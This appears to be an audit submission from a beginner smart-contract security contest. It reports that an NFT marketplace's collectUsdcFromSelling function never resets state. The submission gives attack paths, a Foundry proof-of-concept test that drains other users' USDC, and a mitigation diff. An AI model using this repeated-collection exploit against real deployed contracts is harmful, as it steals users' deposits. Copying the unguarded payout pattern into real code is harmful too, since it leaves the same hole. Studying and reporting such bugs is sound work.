NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` never resets state — seller can call it over and over to drain the entire contract

Author Revealed upon completion

Root + Impact

Description

Once an NFT is sold (or even just a listing is canceled), the seller can call collectUsdcFromSelling as many times as they want. The function checks that the listing is inactive and that the caller is the seller, but it never marks the collection as "done." Neither collateralForMinting is zeroed nor is there any flag to block repeat calls. Every call sends the same payout again.

On top of that, the function works after cancelListing too — even though no sale took place. The seller cancels their listing, gets collateral back from the cancel, then calls collectUsdcFromSelling to collect a "sale price" that was never paid. This steals directly from other users' deposits.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // @> self-transfer, does nothing
usdc.safeTransfer(msg.sender, amountToSeller); // @> pays out every single time
// @> nothing is reset — no flag, no zeroing, nothing stops a second call
}

Risk

Likelihood: Any seller who has listed an NFT can do this right away. No timing, no setup — just call the function twice. That's it.

Impact: Total loss of funds. The attacker drains all USDC in the contract — other sellers' payments, other minters' collateral, everything. On top of that, totalFeesCollected gets inflated with each call, so eventually withdrawFees will try to send more than what's left and permanently revert.

Proof of Concept

Attack Path 1 — Repeated collection after a real sale:

  1. 10 users each mint (20 USDC collateral each). Contract holds 200 USDC.

  2. User0 lists NFT #1 at 50 USDC. Carol buys it. Contract now has 250 USDC.

  3. User0 calls collectUsdcFromSelling(1) — gets 69.5 USDC (50 - fee + 20 collateral).

  4. User0 calls it again — same payout. And again. Contract drains until empty.

Attack Path 2 — Collection after cancel (no sale ever happened):

  1. 5 users mint. Contract holds 100 USDC.

  2. User0 lists at 10 USDC, then cancels — gets 20 USDC collateral back.

  3. User0 calls collectUsdcFromSelling(1) — listing is inactive from the cancel, so it passes. Sends 9.9 USDC from other users' collateral. No sale ever occurred.

function testH01_RepeatedCollectDrain() public {
address[10] memory users;
for (uint256 i = 0; i < 10; i++) {
users[i] = makeAddr(string(abi.encodePacked("user", i)));
vm.prank(owner);
nftDealers.whitelistWallet(users[i]);
usdc.mint(users[i], 20e6);
vm.startPrank(users[i]);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
assertEq(usdc.balanceOf(address(nftDealers)), 200e6);
​
vm.prank(users[0]);
nftDealers.list(1, 50e6);
​
usdc.mint(carol, 50e6);
vm.startPrank(carol);
usdc.approve(address(nftDealers), 50e6);
nftDealers.buy(1);
vm.stopPrank();
assertEq(usdc.balanceOf(address(nftDealers)), 250e6);
​
// Collect FIRST time
vm.prank(users[0]);
nftDealers.collectUsdcFromSelling(1);
uint256 balAfterFirst = usdc.balanceOf(users[0]);
​
// Collect SECOND time — no state was reset, works again
vm.prank(users[0]);
nftDealers.collectUsdcFromSelling(1);
uint256 balAfterSecond = usdc.balanceOf(users[0]);
​
assertGt(balAfterSecond, balAfterFirst);
assertLt(usdc.balanceOf(address(nftDealers)), 200e6); // other users' money stolen
}

Recommended Mitigation

Track whether a listing has already been collected, zero out the collateral after returning it, and make sure a canceled listing can't be collected as if it were a sale.

+ error AlreadyCollected();
+ error ListingWasCanceled();
+ mapping(uint256 => bool) private s_collected;
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ if (s_collected[_listingId]) revert AlreadyCollected();
+ if (collateralForMinting[listing.tokenId] == 0 && listing.price > 0) {
+ revert ListingWasCanceled();
+ }
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
+ collateralForMinting[listing.tokenId] = 0;
+ s_collected[_listingId] = true;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!